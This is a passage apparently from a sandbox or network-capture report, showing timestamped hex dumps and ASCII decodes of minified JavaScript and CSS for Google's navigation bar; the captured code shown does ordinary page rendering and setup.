ction(a,b){b=(b||_.t).docu

2021-09-14 14:03:24 UTC 49 IN Data Raw: 53 2b 29 2f 2e 65 78 65 63 28 61 29 7d 28 29 3b 68 63 26 26 28 67 63 3d 68 63 3f 68 63 5b 31 5d 3a 22 22 29 
3b 69 66 28 5f 2e 42 29 7b 76 61 72 20 6a 63 3d 65 63 28 29 3b 69 66 28 6e 75 6c 6c 21 3d 6a 63 26 26 6a 63 3e 70 61 
72 73 65 46 6c 6f 61 74 28 67 63 29 29 7b 66 63 3d 53 74 72 69 6e 67 28 6a 63 29 3b 62 72 65 61 6b 20 61 7d 7d 66 63 
3d 67 63 7d 5f 2e 6b 63 3d 66 63 3b 69 66 28 5f 2e 74 2e 64 6f 63 75 6d 65 6e 74 26 26 5f 2e 42 29 7b 76 61 72 20 6d 63 
3d 65 63 28 29 3b 6c 63 3d 6d 63 3f 6d 63 3a 70 61 72 73 65 49 6e 74 28 5f 2e 6b 63 2c 31 30 29 7c 7c 76 6f 69 64 20 30 
7d 65 6c 73 65 20 6c 63 3d 76 6f 69 64 20 30 3b 5f 2e 6e 63 3d 6c 63 3b 0a 5f 2e 6f 63 3d 5f 2e 7a 62 28 29 3b 5f 2e 70 
63 3d 4f 62 28 29 7c 7c 5f 2e 41 28 22 69 50 6f 64 22 29 3b 5f 
Data Ascii: S+)/.exec(a)}();hc&&(gc=hc?hc[1]:"");if(_.B){var jc=ec();if(null!=jc&&jc>parseFloat(gc)){fc=String(jc);break 
a}}fc=gc}_.kc=fc;if(_.t.document&&_.B){var mc=ec();lc=mc?mc:parseInt(_.kc,10)||void 0}else lc=void 0;_.nc=lc;_.oc=_.zb(
);_.pc=Ob()||_.A("iPod");_

2021-09-14 14:03:24 UTC 50 IN Data Raw: 7a 63 28 63 2c 62 5b 31 5d 29 7d 74 68 69 73 2e 6f 3d 21 30 7d 7d 3b 5f 2e 68 3d 5f 2e 41 63 2e 70 72 6f 74 6f 
74 79 70 65 3b 5f 2e 68 2e 69 73 46 72 6f 7a 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 3b 5f 
2e 68 2e 74 6f 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 46 62 28 21 31 29 3b 72 
65 74 75 72 6e 20 5f 2e 79 63 3f 61 3a 6d 61 28 61 29 7d 3b 5f 2e 68 2e 46 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 
28 21 74 68 69 73 2e 6f 29 7b 74 68 69 73 2e 6a 2e 6c 65 6e 67 74 68 3d 30 3b 76 61 72 20 61 3d 42 63 28 74 68 69 73 
29 3b 61 2e 73 6f 72 74 28 29 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 7b 
76 61 72 20 63 3d 74 68 69 73 2e 6d 61 70 5b 61 5b 62 5d 5d 
Data Ascii: zc(c,b[1])}this.o=!0}};_.h=_.Ac.prototype;_.h.isFrozen=function(){return!1};_.h.toJSON=function(){var a=this
.Fb(!1);return _.yc?a:ma(a)};_.h.Fb=function(){if(!this.o){this.j.length=0;var a=Bc(this);a.sort();for(var b=0;b<a.length;b++)
{var c=this.map[a[b]]

2021-09-14 14:03:24 UTC 51 IN Data Raw: 61 6c 75 65 3d 62 7d 2c 43 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 41 3d 30 3b 74 68 69 73 
2e 6f 3d 61 7d 3b 43 63 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 
6e 20 74 68 69 73 2e 41 3c 74 68 69 73 2e 6f 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 74 68 
69 73 2e 6f 5b 74 68 69 73 2e 41 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 7d 7d 3b 
43 63 2e 70 72 6f 74 6f 74 79 70 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 
7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 0a 76 61 72 20 45 63 3b 0a 5f 2e 43 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 
63 29 7b 76 61 72 20 64 3d 5f 2e 44 63 3b 5f 2e 44 63 3d 
Data Ascii: alue=b},Cc=function(a){this.A=0;this.o=a};Cc.prototype.next=function(){return this.A<this.o.length?{done:!1,
value:this.o[this.A++]}:{done:!0,value:void 0}};Cc.prototype[Symbol.iterator]=function(){return this};var Ec;_.C=functio
n(a,b,c){var d=_.Dc;_.Dc=

2021-09-14 14:03:24 UTC 53 IN Data Raw: 46 63 28 61 29 2c 61 2e 6f 5b 62 5d 3d 63 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 48 3d 66 75 6e 63 74 69 
6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 2d 31 3d 3d 3d 63 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 2e 6a 7c 7c 28 61 
2e 6a 3d 7b 7d 29 3b 69 66 28 21 61 2e 6a 5b 63 5d 29 7b 76 61 72 20 64 3d 5f 2e 45 28 61 2c 63 29 3b 64 26 26 28 61 
2e 6a 5b 63 5d 3d 6e 65 77 20 62 28 64 29 29 7d 72 65 74 75 72 6e 20 61 2e 6a 5b 63 5d 7d 3b 5f 2e 49 3d 66 75 6e 63 7
4 69 6f 6e 28 61 2c 62 2c 63 29 7b 61 2e 6a 7c 7c 28 61 2e 6a 3d 7b 7d 29 3b 76 61 72 20 64 3d 63 3f 63 2e 46 62 28 21 
31 29 3a 63 3b 61 2e 6a 5b 62 5d 3d 63 3b 72 65 74 75 72 6e 20 5f 2e 47 28 61 2c 62 2c 64 29 7d 3b 5f 2e 43 2e 70 72 6f 
74 6f 74 79 70 65 2e 74 6f 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 
Data Ascii: Fc(a),a.o[b]=c);return a};_.H=function(a,b,c){if(-1===c)return null;a.j||(a.j={});if(!a.j[c]){var d=_.E(a,c);d&&(a.j[c
]=new b(d))}return a.j[c]};_.I=function(a,b,c){a.j||(a.j={});var d=c?c.Fb(!1):c;a.j[b]=c;return _.G(a,b,d)};_.C.prototyp
e.toJSON=function

2021-09-14 14:03:24 UTC 54 IN Data Raw: 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 41 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 
66 6f 72 28 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 2c 64 3d 30 3b 64 3c 63 3b 2b 2b 64 29 69 66 28 62 5b 61 5b 64 
5d 5d 29 62 3d 62 5b 61 5b 64 5d 5d 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 20 
69 6e 73 74 61 6e 63 65 6f 66 20 46 75 6e 63 74 69 6f 6e 3f 62 3a 6e 75 6c 6c 7d 3b 51 63 2e 70 72 6f 74 6f 74 79 70 65 
2e 47 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 74 68 69 73 2e 6a 2e 6c 65 6e 67 74 68 2c 62
3d 74 68 69 73 2e 6a 2c 63 3d 5b 5d 2c 64 3d 30 3b 64 3c 61 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 62 5b 64 5d 2e 6a 28 2
9 2c 66 3d 74 68 69 73 2e 72 65 73 6f 6c 76 65 28 65 29 3b 69 66 
Data Ascii: tion(a){var b=this.A;a=a.split(".");for(var c=a.length,d=0;d<c;++d)if(b[a[d]])b=b[a[d]];else return null;return b inst
anceof Function?b:null};Qc.prototype.Gd=function(){for(var a=this.j.length,b=this.j,c=[],d=0;d<a;++d){var e=b[d].j(),f=t
his.resolve(e);if

2021-09-14 14:03:24 UTC 55 IN Data Raw: 45 28 61 2c 31 30 29 29 3b 74 68 69 73 2e 64 61 74 61 2e 6f 67 66 3d 5f 2e 70 28 5f 2e 45 28 63 2c 33 29 29 
3b 76 61 72 20 64 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 73 6e 3f 2f 2e 
2a 68 70 24 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 73 6e 29 3f 21 31 3a 21 30 3a 5f 2e 6e 28 5f 2e
46 28 61 2c 37 29 29 3b 74 68 69 73 2e 64 61 74 61 2e 6f 67 72 70 3d 64 3f 22 31 22 3a 22 22 3b 74 68 69 73 2e 64 61 74 
61 2e 6f 67 76 3d 5f 2e 70 28 5f 2e 45 28 63 2c 36 29 29 2b 22 2e 22 2b 5f 2e 70 28 5f 2e 45 28 63 2c 37 29 29 3b 74 68 
69 73 2e 64 61 74 61 2e 6f 67 64 3d 5f 2e 70 28 5f 2e 45 28 61 2c 32 31 29 29 3b 74 68 69 73 2e 64 61 74 61 2e 6f 67 63 
3d 5f 2e 70 28 5f 2e 45 28 61 2c 32 30 29 29 3b 74 
Data Ascii: E(a,10));this.data.ogf=_.p(_.E(c,3));var d=window.google&&window.google.sn?/.*hp$/.test(window.goo
gle.sn)?!1:!0:_.n(_.F(a,7));this.data.ogrp=d?"1":"";this.data.ogv=_.p(_.E(c,6))+"."+_.p(_.E(c,7));this.data.ogd=_.p(_.E(
a,21));this.data.ogc=_.p(_.E(a,20));t
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2021-09-14 14:03:24 UTC 57 IN Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 2c 61 29 7d 3b 5f 2e 71 28 5f 2e 63 64 2c 5f 2e 43 29 3b 0a 5f 2e 64 64 3d 66 
75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 4e 63 26 26 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 4e 63 
22 29 29 72 65 74 75 72 6e 20 61 2e 4e 63 3b 76 61 72 20 62 3d 6e 65 77 20 61 3b 72 65 74 75 72 6e 20 61 2e 4e 63 3d 
62 7d 3b 0a 5f 2e 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6a 3d 7b 7d 3b 74 68 69 73 2e 6f 3d 7b 7d 7d 
3b 5f 2e 67 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 5f 2e 65 64 2e 6a 28 29 3b 69 66 28 61 20 
69 6e 20 63 2e 6a 29 7b 69 66 28 63 2e 6a 5b 61 5d 21 3d 62 29 74 68 72 6f 77 20 6e 65 77 20 66 64 28 61 29 3b 7d 65 
6c 73 65 7b 63 2e 6a 5b 61 5d 3d 62 3b 69 66 28 62 3d 63 2e 6f 
Data Ascii: .call(this,a)};_.q(_.cd,_.C);_.dd=function(a){if(a.Nc&&a.hasOwnProperty("Nc"))return a.Nc;var b=new a;return 
a.Nc=b};_.ed=function(){this.j={};this.o={}};_.gd=function(a,b){var c=_.ed.j();if(a in c.j){if(c.j[a]!=b)throw new fd(a);}else{c.
j[a]=b;if(b=c.o

2021-09-14 14:03:24 UTC 58 IN Data Raw: 2e 6e 61 28 5f 2e 4a 63 28 63 2c 33 2c 31 29 29 3a 5f 2e 6e 61 28 5f 2e 4a 63 28 63 2c 32 2c 31 45 2d 34 29 
29 29 29 2c 6f 67 75 73 3a 65 7d 29 3b 69 66 28 66 29 7b 22 6f 67 77 22 69 6e 20 66 26 26 28 74 68 69 73 2e 64 61 74 
61 2e 6f 67 77 3d 66 2e 6f 67 77 2c 64 65 6c 65 74 65 20 66 2e 6f 67 77 29 3b 22 76 65 64 22 69 6e 20 66 26 26 28 74 68 
69 73 2e 64 61 74 61 2e 76 65 64 3d 66 2e 76 65 64 2c 64 65 6c 65 74 65 20 66 2e 76 65 64 29 3b 61 3d 5b 5d 3b 66 6f 
72 28 76 61 72 20 67 20 69 6e 20 66 29 30 21 3d 61 2e 6c 65 0d 0a 
Data Ascii: .na(_.Jc(c,3,1)):_.na(_.Jc(c,2,1E-4)))),ogus:e});if(f){"ogw"in f&&(this.data.ogw=f.ogw,delete f.ogw);"ved"in f&&
(this.data.ved=f.ved,delete f.ved);a=[];for(var g in f)0!=a.le

2021-09-14 14:03:24 UTC 58 IN Data Raw: 34 63 30 65 0d 0a 6e 67 74 68 26 26 61 2e 70 75 73 68 28 22 2c 22 29 2c 61 2e 70 75 73 68 28 70 64 28 67 
29 29 2c 61 2e 70 75 73 68 28 22 2e 22 29 2c 61 2e 70 75 73 68 28 70 64 28 66 5b 67 5d 29 29 3b 66 3d 61 2e 6a 6f 69 
6e 28 22 22 29 3b 22 22 21 3d 66 26 26 28 74 68 69 73 2e 64 61 74 61 2e 6f 67 61 64 3d 66 29 7d 7d 3b 0a 5f 2e 71 28 7
1 64 2c 56 63 29 3b 76 61 72 20 70 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 53 74 72 69 6e 67 28 61 29 3b 72 65 
74 75 72 6e 20 61 2e 72 65 70 6c 61 63 65 28 22 2e 22 2c 22 25 32 45 22 29 2e 72 65 70 6c 61 63 65 28 22 2c 22 2c 22 
25 32 43 22 29 7d 2c 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 72 64 29 7b 72 64 3d 7b 7d 3b 66 6f 72 28 
76 61 72 20 62 3d 30 3b 62 3c 6e 64 2e 6c 65 6e 67 74 68 3b 62 2b 2b 
Data Ascii: 4c0ength&&a.push(","),a.push(pd(g)),a.push("."),a.push(pd(f[g]));f=a.join("");""!=f&&(this.data.ogad=f)}};_.
q(qd,Vc);var pd=function(a){a=String(a);return a.replace(".","%2E").replace(",","%2C")},od=function(a){if(!rd){rd={};for(var 
b=0;b<nd.length;b++

2021-09-14 14:03:24 UTC 59 IN Data Raw: 3d 63 7d 3b 0a 5f 2e 4b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 42 3d 6e 65 77 20 5f 2e 78 64 3b 
74 68 69 73 2e 6a 3d 6e 65 77 20 5f 2e 78 64 3b 74 68 69 73 2e 47 3d 6e 65 77 20 5f 2e 78 64 3b 74 68 69 73 2e 44 3d 
6e 65 77 20 5f 2e 78 64 3b 74 68 69 73 2e 46 3d 6e 65 77 20 5f 2e 78 64 3b 74 68 69 73 2e 4a 3d 6e 65 77 20 5f 2e 78 64 
3b 74 68 69 73 2e 43 3d 6e 65 77 20 5f 2e 78 64 3b 74 68 69 73 2e 41 3d 6e 65 77 20 5f 2e 78 64 3b 74 68 69 73 2e 6f 3d 
6e 65 77 20 5f 2e 78 64 3b 74 68 69 73 2e 4b 3d 6e 65 77 20 5f 2e 78 64 7d 3b 5f 2e 68 3d 5f 2e 4b 2e 70 72 6f 74 6f 74 
79 70 65 3b 5f 2e 68 2e 46 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 42 7d 3b 5f 2e 68 
2e 4e 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 
Data Ascii: =c};_.K=function(){this.B=new _.xd;this.j=new _.xd;this.G=new _.xd;this.D=new _.xd;this.F=new _.xd;this.J=new 
_.xd;this.C=new _.xd;this.A=new _.xd;this.o=new _.xd;this.K=new _.xd};_.h=_.K.prototype;_.h.Fi=function(){return this.
B};_.h.Ni=function(){retur

2021-09-14 14:03:24 UTC 61 IN Data Raw: 72 6f 74 6f 74 79 70 65 2e 4d 69 3b 5f 2e 4b 2e 70 72 6f 74 6f 74 79 70 65 2e 62 68 3d 5f 2e 4b 2e 70 72 6f 74 
6f 74 79 70 65 2e 4a 69 3b 5f 2e 4b 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 3d 5f 2e 4b 2e 70 72 6f 74 6f 74 79 70 65 2e 
4b 69 3b 5f 2e 4b 2e 70 72 6f 74 6f 74 79 70 65 2e 62 6a 3d 5f 2e 4b 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 69 3b 5f 2e 4b 
2e 70 72 6f 74 6f 74 79 70 65 2e 62 6b 3d 5f 2e 4b 2e 70 72 6f 74 6f 74 79 70 65 2e 79 69 3b 5f 2e 77 28 22 67 62 61 72 
2e 61 22 2c 5f 2e 4b 2e 6a 28 29 29 3b 76 61 72 20 49 64 3d 6e 65 77 20 51 63 28 77 69 6e 64 6f 77 29 3b 5f 2e 67 64 28 
22 61 70 69 22 2c 49 64 29 3b 0a 76 61 72 20 4a 64 3d 5f 2e 44 64 28 29 7c 7c 6e 65 77 20 5f 2e 50 63 2c 4b 64 3d 5f 2e 
70 28 5f 2e 45 28 4a 64 2c 38 29 29 3b 77 69 6e 64 6f 
Data Ascii: rototype.Mi;_.K.prototype.bh=_.K.prototype.Ji;_.K.prototype.bi=_.K.prototype.Ki;_.K.prototype.bj=_.K.prototy
pe.zi;_.K.prototype.bk=_.K.prototype.yi;_.w("gbar.a",_.K.j());var Id=new Qc(window);_.gd("api",Id);var Jd=_.Dd()||new _.
Pc,Kd=_.p(_.E(Jd,8));windo

2021-09-14 14:03:24 UTC 62 IN Data Raw: 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 67 62 5f 56 61 3a 
6e 6f 74 28 2e 67 62 5f 45 64 29 7b 66 6f 6e 74 3a 31 33 70 78 2f 32 37 70 78 20 52 6f 62 6f 74 6f 2c 52 6f 62 6f 74 6f 44 
72 61 66 74 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7a 2d 69 6e 64 65 78 3a 39 38 36 7d 40 6b 65 79 66 
72 61 6d 65 73 20 67 62 5f 5f 61 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 35 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 
61 2e 67 62 5f 5a 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 34 32 38 35 66 34 3b 63 75 72 73 6f 72 3a 
64 65 66 61 75 6c 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 70 6f 
73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 
Data Ascii: ight:100%;margin:0;padding:0}.gb_Va:not(.gb_Ed){font:13px/27px Roboto,RobotoDraft,Arial,sans-serif;z-
index:986}@keyframes gb__a{0%{opacity:0}50%{opacity:1}}a.gb_Z{border:none;color:#4285f4;cursor:default;font-
weight:bold;outline:none;position:relative;tex

2021-09-14 14:03:24 UTC 63 IN Data Raw: 61 2c 47 72 61 64 69 65 6e 74 54 79 70 65 3d 30 29 7d 23 67 62 20 61 2e 67 62 5f 33 2e 67 62 5f 33 7b 63 6f 
6c 6f 72 3a 23 66 66 66 7d 2e 67 62 5f 33 3a 68 6f 76 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 30 20 
72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 7d 2e 67 62 5f 33 3a 61 63 74 69 76 65 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 
69 6e 73 65 74 20 30 20 32 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 3b 62 61 63 6b 67 72 6f 75 6e 
64 3a 23 33 63 37 38 64 63 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 2d 6d 73 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 
74 28 74 6f 70 2c 23 33 63 37 61 65 34 2c 23 33 66 37 36 64 33 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 
2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 33 63 37 61 65 34 
Data Ascii: a,GradientType=0)}#gb a.gb_3.gb_3{color:#fff}.gb_3:hover{box-shadow:0 1px 0 rgba(0,0,0,.15)}.gb_3:
active{box-shadow:inset 0 2px 0 rgba(0,0,0,.15);background:#3c78dc;background:-ms-linear-gradient(top,#3c7ae4,
#3f76d3);background:linear-gradient(top,#3c7ae4

2021-09-14 14:03:24 UTC 64 IN Data Raw: 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 6f 78 2d 73 68 
61 64 6f 77 3a 30 20 32 70 78 20 31 30 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 3b 64 69 73 70 6c 61 79 3a 
6e 6f 6e 65 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f
6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 38 70 78 3b 74 6f 70 3a 36 32 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 
67 62 5f 5f 61 20 2e 32 73 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 
65 63 74 3a 74 65 78 74 7d 2e 67 62 5f 62 64 2e 67 62 5f 6c 61 20 2e 67 62 5f 58 61 2c 2e 67 62 5f 62 64 2e 67 62 5f 6c 
61 20 2e 67 62 5f 5a 61 2c 2e 67 62 5f 62 64 2e 67 62 
Data Ascii: olor:rgba(0,0,0,.2);color:#000;box-shadow:0 2px 10px rgba(0,0,0,.2);display:none;outline:none;overflow:hidde
n;position:absolute;right:8px;top:62px;animation:gb__a .2s;border-radius:2px;-ms-user-select:text}.gb_bd.gb_la .gb_Xa,.g
b_bd.gb_la .gb_Za,.gb_bd.gb

Timestamp
kBytes
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2021-09-14 14:03:24 UTC 66 IN Data Raw: 6f 6e 3a 68 6f 76 65 72 20 73 76 67 2c 2e 67 62 5f 43 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63
6f 6c 6f 72 3a 72 67 62 61 28 36 30 2c 36 34 2c 36 37 2c 30 2e 30 38 29 7d 2e 67 62 5f 69 61 20 2e 67 62 5f 43 2e 67 62 
5f 4d 61 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 
67 62 5f 43 5b 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 74 72 75 65 5d 2c 2e 67 62 5f 43 3a 68 6f 76 65 72 5b 61 72 69 
61 2d 65 78 70 61 6e 64 65 64 3d 74 72 75 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 39 
35 2c 39 39 2c 31 30 34 2c 30 2e 32 34 29 7d 2e 67 62 5f 43 5b 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 74 72 75 65 
5d 20 2e 67 62 5f 56 65 2c 2e 67 62 5f 43 5b 61 72 69 61 
Data Ascii: on:hover svg,.gb_C:hover{background-color:rgba(60,64,67,0.08)}.gb_ia .gb_C.gb_Ma:hover{background-
color:transparent}.gb_C[aria-expanded=true],.gb_C:hover[aria-expanded=true]{background-color:rgba(95,99,104,0.
24)}.gb_C[aria-expanded=true] .gb_Ve,.gb_C[aria

2021-09-14 14:03:24 UTC 67 IN Data Raw: 6f 6f 67 6c 65 20 53 61 6e 73 2c 52 6f 62 6f 74 6f 2c 52 6f 62 6f 74 6f 44 72 61 66 74 2c 48 65 6c 76 65 74 69 
63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 66 6f 6e 74 2d 
77 65 69 67 68 74 3a 34 30 30 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 2e 32 35 70 78 3b 6c 69 6e 65 2d 68 
65 69 67 68 74 3a 34 38 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 6f 
76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 36 70 78 3b 70 6f 73 69 74 69 6f 
6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 76 65 72 74 69 63 
61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 6f 70 
Data Ascii: oogle Sans,Roboto,RobotoDraft,Helvetica,Arial,sans-serif;font-size:20px;font-weight:400;letter-spacing:0.25p
x;line-height:48px;margin-bottom:2px;opacity:1;overflow:hidden;padding-left:16px;position:relative;text-overflow:ellipsi
s;vertical-align:middle;top

2021-09-14 14:03:24 UTC 68 IN Data Raw: 6f 6e 74 65 6e 74 3b 6d 69 6e 2d 77 69 64 74 68 3a 6d 69 6e 2d 63 6f 6e 74 65 6e 74 7d 2e 67 62 5f 70 61 3a 
6e 6f 74 28 2e 67 62 5f 71 61 29 20 2e 67 62 5f 4a 64 7b 70 61 64 64 69 6e 67 3a 38 70 78 7d 2e 67 62 5f 70 61 2e 67 62 
5f 51 64 20 2e 67 62 5f 4a 64 7b 2d 6d 73 2d 66 6c 65 78 3a 31 20 30 20 61 75 74 6f 3b 66 6c 65 78 3a 31 20 30 20 61 75 
74 6f 7d 2e 67 62 5f 70 61 20 2e 67 62 5f 4a 64 2e 67 62 5f 52 64 2e 67 62 5f 53 64 7b 6d 69 6e 2d 77 69 64 74 68 3a 30 
7d 2e 67 62 5f 70 61 2e 67 62 5f 71 61 20 2e 67 62 5f 4a 64 7b 70 61 64 64 69 6e 67 3a 34 70 78 3b 70 61 64 64 69 6e 67 
2d 6c 65 66 74 3a 38 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 2e 67 62 5f 49 64 7b 68 65 69 67 68 74 3a 34 38 70 
78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 
Data Ascii: ontent;min-width:min-content}.gb_pa:not(.gb_qa) .gb_Jd{padding:8px}.gb_pa.gb_Qd .gb_Jd{-ms-flex:1 0 
auto;flex:1 0 auto}.gb_pa .gb_Jd.gb_Rd.gb_Sd{min-width:0}.gb_pa.gb_qa .gb_Jd{padding:4px;padding-left:8px;min-
width:0}.gb_Id{height:48px;vertical-align:mid

2021-09-14 14:03:24 UTC 69 IN Data Raw: 64 69 6e 67 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 77 
68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 74 65 78 74 7d 
2e 67 62 5f 33 64 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 34 73 7d 2e 
67 62 5f 34 64 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 7d 2e 67 62 5f 76 63 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 7d 2e 67 62 5f 
70 61 20 61 2c 2e 67 62 5f 41 63 20 61 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 67 62 5f 73 7b 63 6f 6c 6f 72 3a 
72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 38 37 29 7d 2e 67 62 5f 70 61 20 73 76 67 2c 2e 67 62 5f 41 63 20 73 76 67 2c 2e 
67 62 5f 57 63 20 2e 67 62 5f 35 64 2c 2e 67 62 5f 4d 63 
Data Ascii: ding:0 12px;text-overflow:ellipsis;white-space:nowrap;-ms-user-select:text}.gb_3d{transition:background-color 
.4s}.gb_4d{color:black}.gb_vc{color:white}.gb_pa a,.gb_Ac a{color:inherit}.gb_s{color:rgba(0,0,0,0.87)}.gb_pa svg,.gb_Ac 
svg,.gb_Wc .gb_5d,.gb_Mc

2021-09-14 14:03:24 UTC 71 IN Data Raw: 67 62 5f 33 2e 67 62 5f 33 2e 67 62 5f 39 64 2c 23 67 62 20 61 2e 67 62 5f 32 2e 67 62 5f 32 2e 67 62 5f 39 64 
7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 67 62 5f 33 2e 67 62 5f 39 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 
6f 75 6e 64 3a 23 32 62 37 64 65 39 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 32 70 78 20 30 20 72 67 62 61 
28 36 36 2c 31 33 33 2c 32 34 34 2c 30 2e 33 29 2c 30 20 31 70 78 20 33 70 78 20 31 70 78 20 72 67 62 61 28 36 36 2c 
31 33 33 2c 32 34 34 2c 30 2e 31 35 29 7d 2e 67 62 5f 33 2e 67 62 5f 39 64 3a 66 6f 63 75 73 2c 2e 67 62 5f 33 2e 67 62 
5f 39 64 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 39 34 65 64 3b 62 6f 78 2d 73 
68 61 64 6f 77 3a 30 20 31 70 78 20 32 70 78 20 30 20 72 
